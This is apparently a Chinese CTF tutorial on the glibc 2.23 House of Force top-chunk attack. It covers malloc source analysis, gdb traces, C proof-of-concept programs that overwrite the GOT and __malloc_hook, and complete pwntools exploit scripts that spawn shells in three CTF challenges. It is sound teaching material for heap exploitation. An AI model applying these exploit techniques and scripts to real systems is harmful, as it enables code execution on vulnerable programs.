Top chunk attack

了解 Top chunk

这是top chunk分配的源码(glibc2.23 malloc.c 3790行左右):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
victim = av->top;
size = chunksize (victim);

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;//*
remainder = chunk_at_offset (victim, nb);
av->top = remainder;//*
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

从glibc里的malloc源代码里也可以看到top chunk的切割过程,在bins里没有合适chunk的情况下,如果top chunk的size大于请求的size + MINSIZE,就可以从top chunk里进行切割。

如果top chunk不够分割,则调用sysmalloc进行内存分配,如下:

1
2
3
4
5
6
7
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

跟进sysmalloc()

首先,它会检测申请的内存是否大于mmap的分配阈值,如果大于则用mmap进行分配

1
2
3
4
5
6
7
8
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char *mm; /* return value from mmap call*/

try_mmap:
/*

否则扩充 top chunk 以便从中切割

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* First try to extend the current heap. */
old_heap = heap_for_ptr (old_top);
old_heap_size = old_heap->size;
if ((long) (MINSIZE + nb - old_size) > 0
&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
{
av->system_mem += old_heap->size - old_heap_size;
arena_mem += old_heap->size - old_heap_size;
set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
| PREV_INUSE);
}
else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
{
/* Use a newly allocated heap. */

如果不满足top chunk扩充的条件的话,old_top_chunk会被free掉,向系统批发新的top_chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
{
/* Use a newly allocated heap. */
heap->ar_ptr = av;
heap->prev = old_heap;
av->system_mem += heap->size;
arena_mem += heap->size;
/* Set up the new top. */
top (av) = chunk_at_offset (heap, sizeof (*heap));
set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

/* Setup fencepost and free the old top chunk with a multiple of
MALLOC_ALIGNMENT in size. */
/* The fencepost takes at least MINSIZE bytes, because it might
become the top chunk again later. Note that a footer is set
up, too, although the chunk is marked in use. */
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if (old_size >= MINSIZE)//*
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);//*
}
else

从源码分析top chunk attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#libc-2.23中malloc源码第3793-3809行
victim = av->top;//获取当前top_chunk
size = chunksize (victim);//计算top_chunk的大小
// 如果在分割之后,其大小仍然满足chunk的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;//top_chunk指针更新
-------------------------------------------------------------------------------
chunk_at_offset (victim, nb)的宏定义(代码第1312-1313行)
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
-------------------------------------------------------------------------------
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);//更新top_chunk_size

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

这是_int_malloc()源码中调用top chunk的部分,注意到if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))在进行比较时用的是unsigned long。如果程序存存在溢出等漏洞可以将top chunk的size修改,就可以得到漏洞利用。例如将size修改为-1(0xffffffffffffffff),那么这将使得从top chunk地址开始后所有的内存都被包含在了top chunk里,可以被自由切割。

而且呢top chunk的位置移动仅进行了地址的位移(即地址的加减运算)

demo

向前控制内存demo1

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; // <=== 这里把top chunk的size域改为0xffffffffffffffff
malloc(-4120); // <=== 减小top chunk指针
malloc(0x10); // <=== 分配块实现任意地址写
return 0;
}
//gcc -g -o demo1 demo1.c ubuntu 16.04

在执行过第7行后,top_chunk的size被修改,如下:

1
2
3
4
5
pwndbg> x/24gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0xffffffffffffffff <== top_chunk size = -1
0x602030: 0x0000000000000000 0x0000000000000000

执行过malloc(-4120),为什么时-4120?


1
2
3
4
5
6
7
8
9
10
11
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/ctf/pwn/demo1:
GOT protection: Partial RELRO | Found 2 GOT entries passing the filter
[0x601018] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7a2d750 (__libc_start_main) ◂— push r14
[0x601020] malloc@GLIBC_2.2.5 -> 0x7ffff7a91180 (malloc) ◂— push rbp
pwndbg> distance 0x602020 0x601010
0x602020->0x601010 is -0x1010 bytes (-0x202 words)
pwndbg> p -0x1010
$1 = -4112

首先,我们需要明确要写入的目的地址,这里我编译程序后,0x601020 是 malloc@got.plt 的地址。

所以我们应该将 top chunk 指向 0x601010 处,这样当下次再分配 chunk 时,就可以分配到 malloc@got.plt 处的内存了。

之后明确当前 top chunk 的地址,根据前面描述,top chunk 位于 0x602020,所以我们可以计算偏移 -4112

此外,用户申请的内存大小,一旦进入申请内存的函数中就变成了无符号整数

1
void *__libc_malloc(size_t bytes) {

如果想要用户输入的大小经过内部的 checked_request2size可以得到这样的大小,即

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*
Check if a request is so large that it would wrap around zero when
padded and aligned. To simplify some other code, the bound is made
low enough so that adding MINSIZE will also not wrap around zero.
*/

#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/* Same, except also perform argument check */

#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE(req)) { \
__set_errno(ENOMEM); \
return 0; \
} \
(sz) = request2size(req);

一方面,我们需要绕过 REQUEST_OUT_OF_RANGE(req) 这个检测,即我们传给 malloc 的值在负数范围内,不得大于 -2 * MINSIZE,这个一般情况下都是可以满足的。

另一方面,在满足对应的约束后,我们需要使得 request2size正好转换为对应的大小,也就是说,我们需要使得 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK 恰好为 - 4112。首先,很显然,-4112 是 chunk 对齐的,那么我们只需要将其分别减去 SIZE_SZ,MALLOC_ALIGN_MASK 就可以得到对应的需要申请的值。其实我们这里只需要减 SIZE_SZ 就可以了,因为多减的 MALLOC_ALIGN_MASK 最后还会被对齐掉。而如果 -4112 不是 MALLOC_ALIGN 的时候,我们就需要多减一些了。当然,我们最好使得分配之后得到的 chunk 也是对齐的,因为在释放一个 chunk 的时候,会进行对齐检查。

因此,我们当调用malloc(-4120)之后,我们可以观察到 top chunk 被抬高到我们想要的位置


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> p main_arena
$2 = {
mutex = 0,
flags = 1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x601010,
last_remainder = 0x0,
......
pwndbg> top_chunk
PREV_INUSE
Addr: 0x601010
Size: 0x1009

pwndbg> x/24gx 0x601010
0x601010: 0x00007ffff7deef10 0x0000000000001009 <== top_chunk
0x601020 <malloc@got.plt>: 0x00007ffff7a91180 0x0000000000000000
0x601030: 0x0000000000000000 0x0000000000000000
0x601040: 0x0000000000000000 0x0000000000000000

这个0x1009 可以按源码算出来: (-1) - ((-4120) + 0x10) = 0x1009

remainder_size = size - nb; size = -1; nb = (unsigned long)(requst_size) + (pre_size + size); 其中-1和-4120被转化为unsigned long

之后,我们分配的块就会出现在 0x601010+0x10 的位置,也就是 0x601020 可以更改 got 表中的内容了。

但是需要注意的是,在被抬高的同时,malloc@got 附近的内容也会被修改。

1
2
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));

执行过malloc(0x10),如下:

1
2
3
4
5
6
pwndbg> x/24gx 0x601000
0x601000: 0x0000000000600e28 0x00007ffff7ffe168
0x601010: 0x00007ffff7deef10 0x0000000000000021 <== malloc(0x10)得到的
0x601020 <malloc@got.plt>: 0x00007ffff7a91180 0x0000000000000000
0x601030: 0x0000000000000000 0x0000000000000fe9 <== top_chunk
0x601040: 0x0000000000000000 0x0000000000000000

向后控制内存demo2

在上一个示例中,我们演示了如何修改 top_chunk 使得 top_chunk 指针减小来修改其上面(低地址)的 got 表中的内容。同样,利用这种方式可以修改其下面(高地址)的内容。这次同样的利用代码进行演示:

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; //<=== 修改top chunk size
malloc(140737345551056); //<=== 增大top chunk指针
malloc(0x10);
return 0;
}

我们可以看到程序代码与简单示例 1 基本相同,除了第二次 malloc 的 size 有所不同。 这次我们的目标是 malloc_hook,我们知道 malloc_hook 是位于 libc.so 里的全局变量值,首先查看内存布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x400000 0x401000 r-xp 1000 0 /home/ctf/pwn/demo2
0x600000 0x601000 r--p 1000 0 /home/ctf/pwn/demo2
0x601000 0x602000 rw-p 1000 1000 /home/ctf/pwn/demo2
0x602000 0x623000 rw-p 21000 0 [heap]
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 [anon_7ffff7dd3]
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fec000 0x7ffff7fef000 rw-p 3000 0 [anon_7ffff7fec]
0x7ffff7ff6000 0x7ffff7ffa000 r--p 4000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]

可以看到 heap 的基址在 0x602000,而 libc 的基址在 0x7ffff7a0d000,因此我们需要通过 HOF 扩大 top chunk 指针的值来实现对 malloc_hook 的写。 首先,由调试得知 __malloc_hook 的地址位于 0x7ffff7dd1b10 ,采取计算

0x7ffff7dd1b00-0x602020-0x10=140737345551056 经过这次 malloc 之后,我们可以观察到 top chunk 的地址被抬高到了 0x00007ffff7dd1b00

执行过malloc(140737345551056);

通过 p main_arenatop_chunk等来查看top_chunk的位置,如下:

1
2
3
4
5
6
7
8
9
pwndbg> top_chunk
PREV_INUSE
Addr: 0x7ffff7dd1b10
Size: 0xffff800008830509

pwndbg> x/24gx 0x7ffff7dd1b10
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0xffff800008830509
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000

之后,我们只要再次分配就可以控制 0x7ffff7dd1b10 处的 __malloc_hook 值了

1
2
3
4
rax = 0x00007ffff7dd1b10

0x400562 <main+60> mov edi, 0x10
0x400567 <main+65> call 0x400410 <malloc@plt>

小总结

在这一节中讲解了 House Of Force 的原理并且给出了两个利用的简单示例,通过观察这两个简单示例我们会发现其实 HOF 的利用要求还是相当苛刻的。

  • 首先,需要存在漏洞使得用户能够控制 top chunk 的 size 域。
  • 其次,需要用户能自由控制 malloc 的分配大小
  • 第三,分配的次数不能受限制

其实这三点中第二点往往是最难办的,CTF 题目中往往会给用户分配堆块的大小限制最小和最大值使得不能通过 HOF 的方法进行利用。

公式为: malloc(size) 中的 size=new_top_chunk_addr-old_top_chunk_addr-0x10

  • new_top_chunk_addr 为要转移 top_chunk 的目标地址。
  • old_top_chunk_addr 为已经被篡改的 top_chunk 地址。
  • new_top_chunk_addr = target_addr - 0x10

top chunk attack的利用

house of force

利用溢出等漏洞,将top chunk的size修改为-1,转换为无符号数就是最大值,然后通过malloc(offset),即可将top chunk转移到目标地址,比如malloc_hook等,然后,再次malloc,就可控制目标地址处的数据(此图中的addr1已是old_top_chunk_addr - 0x10)。

image-20250409132924240

不仅可以malloc正数,还可以malloc(负数)使得top chunk上移到程序里的got表等。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char buf[0x100] = {0};
int main() {
char *p1 = malloc(0x10);
char *top_chunk_addr = p1 + 0x10;
*(size_t *)(top_chunk_addr + 0x8) = -1; //修改top chunk的size
size_t offset = buf - p1 - 0x30;//(buf-0x10) - (p1+0x10) - 0x10
malloc(offset);

char *p2 = malloc(0x50);
strcpy(p2,"hello,welcome to pwn\n");
write(1,buf,strlen(buf));
return 0;
}

无free得到unsortedbin

前面,我们分析到,如果想要的size大于top chunk的size,并且size在mmap阈值之下,那么就会申请新的top chunk,将旧的top chunk给free掉,我们可以利用这个free来得到unsorted bin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* Record incoming configuration of top */

old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));//*

brk = snd_brk = (char *) (MORECORE_FAILURE);

/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/

assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));//*页检查

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

Top chunk的size不是随便改变某个值,想要验证检查,其中这里是页对齐检查,也就是说top_chunk_addr + size的值低12bit为0。

系统分配时的top chunk一般是页对齐的,一般情况下在改size时只需要将高位置零,低位不变即可。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char buf[0x100] = {0};
int main() {
char *p1 = malloc(0x10);
char *top_chunk_addr = p1 + 0x10;
*(size_t *)(top_chunk_addr + 0x8) = 0xFE1; //修改top chunk的size,注意页对齐
malloc(0x1000);
read(0,buf,0x100);
return 0;
}

image-20250409152243476

例题

hitcon lab11

越看越熟悉,这不是我学习unlink时的例题吗 ^_^

house_of_force思路:

  1. 溢出改top_chunk为 -1
  2. house_of_force 将 top_chunk 迁移至hello_message()和goodbye_messgae()所在的结构体
  3. 将这goodbye_message()函数改为magic()函数,即可拿flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-04-09 18:32:41
from pwn import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('', )
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
#gdb.attach(p)

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\\x00'))
leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr))

def add(length,name):
ru(b'Your choice:')
sl(b'2')
ru(b'Please enter the length of item name:')
sl(str(length))
ru(b'Please enter the name of item:')
sl(name)

def delete(idx):
ru(b'Your choice:')
sl(b'4')
ru(b':')
sl(str(idx))

def edit(idx,length,name):
ru(b'Your choice:')
sl(b'3')
ru(b':')
sl(str(idx))
ru(b':')
sl(str(length))
ru(b':')
sl(name)

def show():
ru(b':')
sl(b'1')

magic = 0x400d49
add(0x40,b'a'*8)
payload = b'\x00'*0x48 + p64(0xffffffffffffffff)
edit(0,len(payload),payload)
add(-0x80,b'a')
add(0x10,p64(magic)*2)
ru(b'Your choice:')
sl(b'5')

itr()

ubuntu16.04,glibc2.23

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[DEBUG] Sent 0x2 bytes:
b'5\n'
[*] Switching to interactive mode
invaild choice!!!
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:[*] Process './pwn' stopped with exit code 0 (pid 1162)
[DEBUG] Received 0x15 bytes:
b'flah{house_of_force}\n'
flah{house_of_force}
[*] Got EOF while reading in interactive
$

force

i春秋新春战疫之force

漏洞点:

image-20250410184421781

  • 只有add()函数有用
  • malloc(input),这个input无检查,可负可非常大
  • read()中有溢出,可在add()时就溢出

思路(house_of_force):

  1. 利用mmap的阈值分配机制得到libc_base
  2. house_of_force 改 top_chunk 大小 -1,分配到堆块可以改 realloc_hook 和 malloc_hook
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-04-09 18:32:41
from pwn import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './force'
if args['G']:
p = remote('', )
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
gdb.attach(p)

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr))

def add(size,content):
sla(b'2:puts',b'1')
sla(b'size',str(size))
ru(b'bin addr ')
# data = int(rl().split()[0])
data = int(ru('\n'),16)
sla(b'content',content)
return data

#通过mmap一个堆,我们得到了mmap的堆的地址,就能计算出libc地址
#因为mmap的这个堆靠近libc的地址
libc_base = add(0x200000,b'aaaa') + 0x200ff0
leak('libc_base',libc_base)
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one = libc_base + gadget[0]
realloc_hook = libc_base + libc.sym['__realloc_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
#house of force
#修改top chunk的size为-1,即超级大
heap = add(0x10,b'\x00'*0x18 + p64(0xffffffffffffffff))
leak('heap',heap)
top_chunk = heap + 0x10
leak('one',one)
leak('realloc_hook',realloc_hook)
leak('malloc_hook',malloc_hook)
#分配偏移大小的chunk,将top chunk移到了malloc_hook_addr - 0x20处
offset = malloc_hook - 0x20 - top_chunk - 0x10
add(offset,b'a')
#写 realloc_hook 和 malloc_hook
payload = p64(0) + p64(one) + p64(realloc_hook+4)
add(0x10,payload)

sla(b'2:puts',b'1')
sla(b'size',b'1')

itr()

ACTF_2019_ACTFNOTE

检查保护

1
2
3
4
5
6
7
pwndbg> checksec
[*] '/home/ctf/pwn/ACTF_2019_ACTFNOTE'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

静态分析

相关结构体:

image-20250410214807265

edit()函数中存在溢出漏洞:

image-20250410215136768

free和show中无漏洞

add()函数如下:

image-20250410215229919

利用思路:

  • 通过溢出漏洞改top_chunk的size,为 -1
  • top_chunk上移至存放指针的结构体,修改结构体中content的指针,实现任意地址读写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-04-10 22:00:36
from pwn import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './ACTF_2019_ACTFNOTE'
if args['G']:
p = remote('', )
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
gdb.attach(p)

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr))

menu = b'/$ '

def add(size,name,content):
sla(menu,b'1')
sla(b'please input note name size: ',str(size))
sa(b'please input note name: ',name)
sa(b'please input note content: ',content)

def edit(id,content):
sla(menu,b'2')
sla(b'input note id: ',str(id).encode())
sa(b'please input new note content: ',content)

def delete(id):
sla(menu,b'3')
sla(b'input note id: ',str(id))


def show(id):
sla(menu,b'4')
sla(b'input note id: ',str(id))

add(0x10,b'/bin/sh\x00',b'd'*0x17+b's') #0
add(0x10,b'aaaa\n',b'/bin/sh\x00') #1
show(0)
ru(b'ds')
libc_base = uu64(r(6)) - 0x7b61e

system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
leak('libc_base',libc_base)
leak('free_hook',free_hook)
leak('system',system)
add(0x10,b'a\n',b'b\n') #2
#top chunk上移形成overlap chunk
edit(2,b'\x00'*0x18 + b'\xff'*8)
##这里要注意因为程序strdup申请出来的空间是与content重合了
##此处内存不能写,所以这个第三个参数必须为空
add(-0x80,p64(free_hook),b'') #3

edit(2,p64(system))
delete(1)

itr()